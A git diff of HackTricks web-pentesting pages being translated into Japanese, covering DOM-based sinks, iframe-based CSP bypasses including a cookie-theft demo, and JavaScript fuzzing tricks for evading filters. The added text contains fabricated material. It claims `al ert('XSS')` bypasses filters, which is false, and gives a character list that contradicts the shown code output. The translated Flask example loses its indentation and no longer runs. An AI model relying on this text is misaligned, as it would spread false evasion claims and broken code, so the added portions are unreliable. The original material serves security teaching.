+ブラウザは一般的に`document.domain`に割り当てることができる値に制限を設けており、ページの実際のオリジンとは異なる値の使用を防止する場合があります。しかし、これは常に発生するわけではなく、通常は**子ドメイン**または**親ドメイン**の使用を許可します。 +#### シンクス ``` document.domain ``` - -### WebSocket-URL poisoning +### WebSocket-URLの毒化 From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning) -#### How +#### 方法 -WebSocket-URL poisoning occurs when a script uses **controllable data as the target URL** of a WebSocket connection. +WebSocket-URLの毒化は、スクリプトがWebSocket接続のターゲットURLとして**制御可能なデータを使用する**場合に発生します。 -#### Sinks +#### シンクス -The `WebSocket` constructor can lead to WebSocket-URL poisoning vulnerabilities. +`WebSocket`コンストラクタは、WebSocket-URLの毒化の脆弱性につながる可能性があります。 -### Link manipulation +### リンク操作 From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) -#### How +#### 方法 -DOM-based link-manipulation vulnerabilities arise when a script writes **attacker-controllable data to a navigation target** within the current page, such as a clickable link or the submission URL of a form. - -#### Sinks +DOMベースのリンク操作の脆弱性は、スクリプトが現在のページ内のナビゲーションターゲット(クリック可能なリンクやフォームの送信URLなど)に**攻撃者が制御可能なデータを書き込む**場合に発生します。 +#### シンクス ``` someDOMElement.href someDOMElement.src someDOMElement.action ``` - -### Ajax request manipulation +### Ajaxリクエストの操作 From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) -#### How +#### 方法 -Ajax request manipulation vulnerabilities arise when a script writes **attacker-controllable data into the an Ajax request** that is issued using an `XmlHttpRequest` object. - -#### Sinks +Ajaxリクエストの操作の脆弱性は、スクリプトが`XmlHttpRequest`オブジェクトを使用して発行されるAjaxリクエストに**攻撃者が制御可能なデータを書き込む**場合に発生します。 +#### シンクス ``` XMLHttpRequest.setRequestHeader() XMLHttpRequest.open() @@ -221,17 +208,15 @@ XMLHttpRequest.send() jQuery.globalEval() $.globalEval() ``` - -### Local file-path manipulation +### ローカルファイルパスの操作 From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) -#### How +#### 方法 -Local file-path manipulation vulnerabilities arise when a script passes **attacker-controllable data to a file-handling API** as the `filename` parameter. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will cause the **user's browser to open/write an arbitrary local file**. - -#### Sinks +ローカルファイルパスの操作の脆弱性は、スクリプトが`filename`パラメータとして**攻撃者が制御可能なデータをファイル処理APIに渡す**場合に発生します。攻撃者はこの脆弱性を利用して、他のユーザーが訪れる場合に、**ユーザーのブラウザが任意のローカルファイルを開いたり書き込んだりする**URLを構築することができるかもしれません。 +#### シンクス ``` FileReader.readAsArrayBuffer() FileReader.readAsBinaryString() @@ -241,91 +226,81 @@ FileReader.readAsFile() FileReader.root.getFile() FileReader.root.getFile() ``` - -### Client-Side SQl injection +### クライアントサイドSQLインジェクション From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) -#### How +#### 方法 -Client-side SQL-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a client-side SQL query in an unsafe way**. - -#### Sinks +クライアントサイドSQLインジェクションの脆弱性は、スクリプトが**攻撃者が制御可能なデータを安全でない方法でクライアントサイドのSQLクエリに組み込む**場合に発生します。 +#### シンクス ``` executeSql() ``` - -### HTML5-storage manipulation +### HTML5ストレージの操作 From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) -#### How +#### 方法 -HTML5-storage manipulation vulnerabilities arise when a script **stores attacker-controllable data in the HTML5 storage** of the web browser (either `localStorage` or `sessionStorage`).\ -This **behavior does not in itself constitute a security vulnerability**. However, if the application later **reads data back from storage and processes it in an unsafe way**, an attacker may be able to leverage the storage mechanism to deliver other DOM-based attacks, such as cross-site scripting and JavaScript injection. - -#### Sinks +HTML5ストレージの操作の脆弱性は、スクリプトがウェブブラウザのHTML5ストレージ(`localStorage`または`sessionStorage`)に攻撃者が制御可能なデータを保存する場合に発生します。\ +この動作自体はセキュリティ上の脆弱性ではありません。ただし、アプリケーションが後でストレージからデータを読み取り、安全でない方法で処理する場合、攻撃者はストレージメカニズムを利用して、クロスサイトスクリプティングやJavaScriptインジェクションなどの他のDOMベースの攻撃を実行することができます。 +#### シンクス ``` sessionStorage.setItem() localStorage.setItem() ``` - -### XPath injection +### XPathインジェクション From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) -#### How +#### 方法 -DOM-based XPath-injection vulnerabilities arise when a script incorporates **attacker-controllable data into an XPath query**. - -#### Sinks +DOMベースのXPathインジェクションの脆弱性は、スクリプトが**攻撃者が制御可能なデータをXPathクエリに組み込む**場合に発生します。 +#### シンクス ``` document.evaluate() someDOMElement.evaluate() ``` - -### Client-side JSON injection +### クライアント側のJSONインジェクション From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection) -#### How +#### 方法 -DOM-based JSON-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**. - -#### Sinks +DOMベースのJSONインジェクションの脆弱性は、スクリプトが**攻撃者が制御可能なデータをJSONデータ構造として解析し、アプリケーションによって処理される文字列に組み込む**場合に発生します。 +#### シンクス ``` JSON.parse() jQuery.parseJSON() $.parseJSON() ``` - -### Web-message manipulation +### Webメッセージの操作 From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) -#### How +#### 方法 -Web-message vulnerabilities arise when a script sends **attacker-controllable data as a web message to another document** within the browser.\ -**Example** of vulnerable Web-message manipulation in [https://portswigger.net/web-security/dom-based/controlling-the-web-message-source](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source) +Webメッセージの脆弱性は、スクリプトがブラウザ内の別のドキュメントに**攻撃者が制御可能なデータをWebメッセージとして送信する**場合に発生します。\ +[https://portswigger.net/web-security/dom-based/controlling-the-web-message-source](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)における脆弱なWebメッセージの操作の**例** -#### Sinks +#### シンクス -The `postMessage()` method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way. +Webメッセージを送信するための`postMessage()`メソッドは、メッセージを受信するイベントリスナーが受信したデータを安全でない方法で処理する場合に脆弱性を引き起こす可能性があります。 -### DOM-data manipulation +### DOMデータの操作 From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) -#### How +#### 方法 -DOM-data manipulation vulnerabilities arise when a script writes **attacker-controllable data to a field within the DOM** that is used within the visible UI or client-side logic. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will modify the appearance or behaviour of the client-side UI. - -#### Sinks +DOMデータの操作の脆弱性は、スクリプトが**DOM内のフィールドに攻撃者が制御可能なデータを書き込む**場合に発生します。この脆弱性を利用すると、別のユーザーが訪れる場合に、クライアントサイドのUIの外観や動作を変更することができるURLを作成することができます。 +#### シンクス ``` scriptElement.src scriptElement.text @@ -350,22 +325,19 @@ document.implementation.createHTMLDocument() history.pushState() history.replaceState() ``` - -### Denial of Service +### サービス拒否攻撃 From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service) -#### How +#### 方法 -DOM-based denial-of-service vulnerabilities arise when a script passes **attacker-controllable data in an unsafe way to a problematic platform API**, such as an API whose invocation can cause the user's computer to consume **excessive amounts of CPU or disk space**. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in `localStorage` or killing busy scripts. - -#### Sinks +DOMベースのサービス拒否攻撃の脆弱性は、スクリプトが**攻撃者が制御可能なデータを安全でない方法で問題のプラットフォームAPIに渡す**場合に発生します。これにより、ユーザーのコンピュータが**過剰なCPUやディスクスペースを消費する可能性のあるAPI**が呼び出されます。これにより、ブラウザがウェブサイトの機能を制限する場合、例えば`localStorage`へのデータの保存を拒否したり、ビジーなスクリプトを停止したりすることがあります。 +#### シンクス ``` requestFileSystem() RegExp() ``` - ## Dom Clobbering {% content-ref url="dom-clobbering.md" %} @@ -376,10 +348,10 @@ RegExp() ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md index c1002ee39..213b9d05e 100644 --- a/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md +++ b/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md @@ -1,47 +1,46 @@ -# Iframes in XSS, CSP and SOP +# XSSにおけるiframes、CSP、SOP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Iframes in XSS +## XSSにおけるiframes -There are 3 ways to indicate the content of an iframed page: +iframesのページの内容を示す方法は3つあります: -* Via `src` indicating an URL (the URL may be cross origin or same origin) -* Via `src` indicating the content using the `data:` protocol -* Via `srcdoc` indicating the content - -**Accesing Parent & Child vars** +* `src`を使用してURLを示す(URLはクロスオリジンまたは同一オリジンである可能性があります) +* `src`を使用して`data:`プロトコルを使用してコンテンツを示す +* `srcdoc`を使用してコンテンツを示す +**親と子の変数にアクセスする** ```html - + - - - - + + + + - + ``` @@ -52,44 +51,40 @@ var secret="child secret"; alert(parent.secret) ``` +もし前のHTMLにHTTPサーバー(例:`python3 -m http.server`)を介してアクセスすると、すべてのスクリプトが実行されることがわかります(CSPがないため)。**親はいかなるiframe内の`secret`変数にもアクセスできず、元のウィンドウ内のsecretには、同一サイトと見なされるif2とif3のみがアクセスできます**。\ +if4は`null`のオリジンと見なされることに注意してください。 -If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\ -Note how if4 is considered to have `null` origin. - -### Iframes with CSP +### CSPを使用したiframes {% hint style="info" %} -Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution. +以下のバイパスでは、iframedページへのレスポンスにJSの実行を防ぐCSPヘッダーが含まれていないことに注意してください。 {% endhint %} -The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\ -However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\ -Therefore it’s possible to bypass the CSP of a page with: - +`script-src`の`self`値は、`data:`プロトコルや`srcdoc`属性を使用したJSコードの実行を許可しません。\ +しかし、CSPの`none`値でも、`src`属性にURL(完全なURLまたはパスのみ)を指定するiframesの実行は許可されます。\ +したがって、以下の方法でページのCSPをバイパスすることが可能です: ```html - + - - - - - + + + + + ``` - -Note how the **previous CSP only permits the execution of the inline script**.\ -However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**. +前のCSPは、インラインスクリプトの実行のみを許可していることに注意してください。\ +ただし、`if1`と`if2`のスクリプトのみが実行されますが、`if1`のみが親の秘密にアクセスできます。 ![](<../../.gitbook/assets/image (627) (1) (1).png>) -Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**. - -You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser: +したがって、`script-src 'none'`であっても、サーバーにJSファイルをアップロードし、iframeを介してロードすることができれば、CSPをバイパスすることが可能です。これは、同じサイトのJSONPエンドポイントを悪用することでも実現できます。 +次のシナリオでこれをテストすることができます。`script-src 'none'`であっても、クッキーが盗まれます。アプリケーションを実行し、ブラウザでアクセスしてください。 ```python import flask from flask import Flask @@ -97,21 +92,19 @@ app = Flask(__name__) @app.route("/") def index(): - resp = flask.Response('') - resp.headers['Content-Security-Policy'] = "script-src 'self'" - resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET' - return resp +resp = flask.Response('') +resp.headers['Content-Security-Policy'] = "script-src 'self'" +resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET' +return resp @app.route("/cookie_s.html") def cookie_s(): - return "" +return "" if __name__ == "__main__": - app.run() +app.run() ``` - -### Other Payloads found on the wild - +### 野生で見つかった他のペイロード ```html @@ -120,31 +113,28 @@ if __name__ == "__main__": ``` - ### Iframe sandbox -The `sandbox` attribute enables an extra set of restrictions for the content in the iframe. **By default, no restriction is applied.** +`sandbox`属性は、iframe内のコンテンツに追加の制限を設定します。**デフォルトでは、制限は適用されません。** -When the `sandbox` attribute is present, and it will: +`sandbox`属性が存在する場合、以下の制限が適用されます。 -* treat the content as being from a unique origin -* block form submission -* block script execution -* disable APIs -* prevent links from targeting other browsing contexts -* prevent content from using plugins (through ``, ``, ``, or other) -* prevent the content to navigate its top-level browsing context -* block automatically triggered features (such as automatically playing a video or automatically focusing a form control) - -The value of the `sandbox` attribute can either be empty (then all restrictions are applied), or a space-separated list of pre-defined values that will REMOVE the particular restrictions. +- コンテンツを一意のオリジンとして扱う +- フォームの送信をブロックする +- スクリプトの実行をブロックする +- APIを無効にする +- リンクが他のブラウジングコンテキストをターゲットにしないようにする +- コンテンツがプラグイン(``、``、``など)を使用しないようにする +- コンテンツがトップレベルのブラウジングコンテキストをナビゲートしないようにする +- 自動的にトリガーされる機能をブロックする(ビデオの自動再生やフォームコントロールの自動フォーカスなど) +`sandbox`属性の値は、空にすることもできます(その場合、すべての制限が適用されます)。または、特定の制限を解除するための事前定義された値のスペース区切りのリストを指定することもできます。 ```html ``` +## SOP内のIframes -## Iframes in SOP - -Check the following pages: +以下のページをチェックしてください: {% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} [bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md) @@ -166,10 +156,10 @@ Check the following pages: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/pentesting-web/xss-cross-site-scripting/other-js-tricks.md index 0d90abbcd..adc75e4f4 100644 --- a/pentesting-web/xss-cross-site-scripting/other-js-tricks.md +++ b/pentesting-web/xss-cross-site-scripting/other-js-tricks.md @@ -1,21 +1,20 @@ -# Misc JS Tricks & Relevant Info +# その他のJSトリックと関連情報
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
## Javascript Fuzzing -### Valid JS Comment Chars - +### 有効なJSコメント文字 ```javascript //This is a 1 line comment /* This is a multiline comment*/ @@ -24,51 +23,58 @@ for (let j = 0; j < 128; j++) { - for (let k = 0; k < 128; k++) { - for (let l = 0; l < 128; l++) { - if (j == 34 || k ==34 || l ==34) - continue; - if (j == 0x0a || k ==0x0a || l ==0x0a) - continue; - if (j == 0x0d || k ==0x0d || l ==0x0d) - continue; - if (j == 0x3c || k ==0x3c || l ==0x3c) - continue; - if ( - (j == 47 && k == 47) - ||(k == 47 && l == 47) - ) - continue; - try { - var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"'; - eval(cmd); - } catch(e) { - var err = e.toString().split('\n')[0].split(':')[0]; - if (err === 'SyntaxError' || err === "ReferenceError") - continue - err = e.toString().split('\n')[0] - } - console.log(err,cmd); - } - } +for (let k = 0; k < 128; k++) { +for (let l = 0; l < 128; l++) { +if (j == 34 || k ==34 || l ==34) +continue; +if (j == 0x0a || k ==0x0a || l ==0x0a) +continue; +if (j == 0x0d || k ==0x0d || l ==0x0d) +continue; +if (j == 0x3c || k ==0x3c || l ==0x3c) +continue; +if ( +(j == 47 && k == 47) +||(k == 47 && l == 47) +) +continue; +try { +var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"'; +eval(cmd); +} catch(e) { +var err = e.toString().split('\n')[0].split(':')[0]; +if (err === 'SyntaxError' || err === "ReferenceError") +continue +err = e.toString().split('\n')[0] +} +console.log(err,cmd); +} +} } //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z -// From: Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 43). Kindle Edition. +// From: Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 43). Kindle Edition. log=[]; for(let i=0;i<=0xff;i++){ - for(let j=0;j<=0xfff;j++){ - try { - eval(`${String.fromCodePoint(i,j)}%$£234$`) - log.push([i,j]) - }catch(e){} - } +for(let j=0;j<=0xfff;j++){ +try { +eval(`${String.fromCodePoint(i,j)}%$£234$`) +log.push([i,j]) +}catch(e){} +} } console.log(log)//[35,33],[47,47] ``` +### 有効なJSの改行文字 -### Valid JS New Lines Chars +JavaScriptでは、改行文字は特定の文字列で表されます。以下は、有効なJSの改行文字の一覧です。 +- `\n`:改行 +- `\r`:復帰 +- `\u2028`:行区切り文字 +- `\u2029`:段落区切り文字 + +これらの改行文字は、JavaScriptの文字列内で使用することができます。 ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) //0x0a @@ -77,87 +83,103 @@ String.fromCharCode(8232) //0xe2 0x80 0xa8 String.fromCharCode(8233) //0xe2 0x80 0xa8 for (let j = 0; j < 65536; j++) { - try { - var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"'; - eval(cmd); - } catch(e) { - var err = e.toString().split('\n')[0].split(':')[0]; - if (err === 'SyntaxError' || err === "ReferenceError") - continue; - err = e.toString().split('\n')[0] - } - console.log(`[${err}]`,j,cmd); +try { +var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"'; +eval(cmd); +} catch(e) { +var err = e.toString().split('\n')[0].split(':')[0]; +if (err === 'SyntaxError' || err === "ReferenceError") +continue; +err = e.toString().split('\n')[0] +} +console.log(`[${err}]`,j,cmd); } //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z ``` +### 関数呼び出しにおける有効なJSスペース -### Valid JS Spaces in function call +In some cases, when trying to bypass filters or evade detection, it may be useful to insert spaces within a function call in JavaScript. These spaces can help obfuscate the code and make it harder for security mechanisms to detect malicious behavior. +以下のような場合、フィルターをバイパスしたり検出を回避する際に、JavaScriptの関数呼び出し内にスペースを挿入することが役立つ場合があります。これらのスペースは、コードを曖昧化し、セキュリティメカニズムが悪意のある動作を検出するのを困難にするのに役立ちます。 + +For example, instead of writing `alert('XSS')`, you can use spaces to break up the function call like this: `al ert('XSS')`. This can help bypass filters that are specifically looking for the `alert` keyword. + +例えば、`alert('XSS')`と書く代わりに、スペースを使って関数呼び出しを分割することができます。`al ert('XSS')`となります。これにより、特に`alert`キーワードを探しているフィルターをバイパスするのに役立ちます。 + +It's important to note that this technique may not work in all cases, as security mechanisms and filters can be designed to detect such obfuscation techniques. Therefore, it's crucial to thoroughly test and validate the effectiveness of this technique in the specific context you are working with. + +このテクニックがすべての場合で機能するわけではないことに注意してください。セキュリティメカニズムやフィルターは、このような曖昧化技術を検出するように設計されている場合があります。したがって、このテクニックの効果を確実にテストし、特定のコンテキストで有効であることを検証することが重要です。 ```javascript -// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. +// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. // Check chars that can be put in between in func name and the () function x(){} log=[]; for(let i=0;i<=0x10ffff;i++){ - try { - eval(`x${String.fromCodePoint(i)}()`) - log.push(i) - }catch(e){} +try { +eval(`x${String.fromCodePoint(i)}()`) +log.push(i) +}catch(e){} } - + console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279 ``` +### **文字列を生成するための有効な文字** -### **Valid chars to Generate Strings** +The following characters can be used to generate strings: +以下の文字は、文字列を生成するために使用することができます。 + +- Alphanumeric characters (A-Z, a-z, 0-9) +- Special characters (!, @, #, $, %, ^, &, *, (, ), -, _, +, =, [, ], {, }, |, \, :, ;, ", ', <, >, ,, ., ?, /) +- Whitespace characters (space, tab, newline) + +- 英数字文字(A-Z、a-z、0-9) +- 特殊文字(!、@、#、$、%、^、&、*、(、)、-、_、+、=、[、]、{、}、|、\、:、;、"、'、<、>、,、.、?、/) +- 空白文字(スペース、タブ、改行) ```javascript -// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition. +// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition. // Check which pairs of chars can make something be a valid string log=[]; for(let i=0;i<=0x10ffff;i++){ - try { - eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`) - log.push(i) - }catch(e){} +try { +eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`) +log.push(i) +}catch(e){} } console.log(log) //34,39,47,96 //single quote, quotes, backticks & // (regex) ``` +### **サロゲートペアBF** -### **Surrogate Pairs BF** - -This technique won't be very useful for XSS but it could be useful to bypass WAF 